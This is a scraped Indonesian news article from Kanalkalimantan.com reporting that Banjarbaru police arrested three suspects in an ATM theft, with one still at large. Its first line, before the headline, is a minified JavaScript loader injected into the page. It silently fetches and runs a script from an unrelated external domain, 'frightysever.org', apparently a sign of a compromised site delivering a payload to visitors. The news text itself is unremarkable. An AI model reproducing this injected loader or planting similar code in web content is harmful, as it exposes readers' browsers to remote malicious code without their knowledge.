(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gasak Ratusan Juta, Tiga Sindikat Pembobol ATM Diamankan Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru berhasil meringkus 3 dari 4 orang pelaku pencurian uang di mesin Anjungan Tunai Mandiri (ATM) BRI di depan Hotel Nor Indah, Landasan Ulin, Kota Banjarbaru.

Ketiga pelaku diringkus petugas dari Polres Banjarbaru di lokasi berbeda. Mereka adalah Deni Setiawan (28) warga Landasan Ulin Timur Kota Banjarbaru, Wahyu Nugroho (25) warga Kampung Baru, Tanah Bumbu dan Zainal Akli (28), warga Sungai Paring, Martapura.

Kapolres Banjarbaru, AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru, AKP Tajudin Noor mengatakan, dalam keterangannya, Rabu (30/3/2022) siang, mengatakan, ketiganya ditangkap di tempat dan waktu yang berbeda.

 

Baca juga  : Seorang Perempuan Bersama 70 Liter Tuak Dibawa ke Mapolsek Liang Anggang

Deni Setiawan (28) ditangkap pada Kamis (24/3/2022) lalu oleh Team Resmob Polres Banjarbaru yang kemudian di-back up Resmob Tanjung Perak dan berhasil diamankan di dalam kapal.

“Pelaku melarikan diri pada awalnya ke daerah Kediri, Jawa Timur, setelah berkoordinasI dengan anggota (Polisi, red) di Kediri dan menyerahkan data pelaku, tapi pelaku berhasil lolos, kemudian melarikan diri ke Tanjung Perak,” ujar AKP Tajudin Noor.

Setelah diamankan petugas, Sambung Tajudin, Deni mengakui ketika melakukan tindakan pencurian tersebut bersama tiga orang teman lainnya atas nama Wahyu, Zainal Akli dan Achmad Fauzi.

“Dari keterangan DS (28) petugas kemudian melakukan pengembangan terhadap pelaku lainnya,” sambung Tajudin.

Pengembangan kasus tersebut rupanya membuahkan hasil, pada Jumat (25/3/2022), petugas Resmob Polres Banjarbaru berhasil mengamankan dua orang pelaku lainnya, Zainal Akli dan Wahyu.

 

Baca juga : Ratusan Miras Diangkut Anggota Polsek Liang Anggang dari Pondok John Guntung Manggis

“Satu orang pelaku AF masih dalam pengejaran,” ujarnya.

Kemudian tim membawa 3 orang pelaku beserta barang bukti ke Mapolres Banjarbaru untuk proses lebih lanjut.

Berdasarkan kejadian tersebut, ketiga pelaku harus mempertanggungjawabkan tindakannya berdasarkan Pasal 363 Ayat (1) ke 5 KUHPidana. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.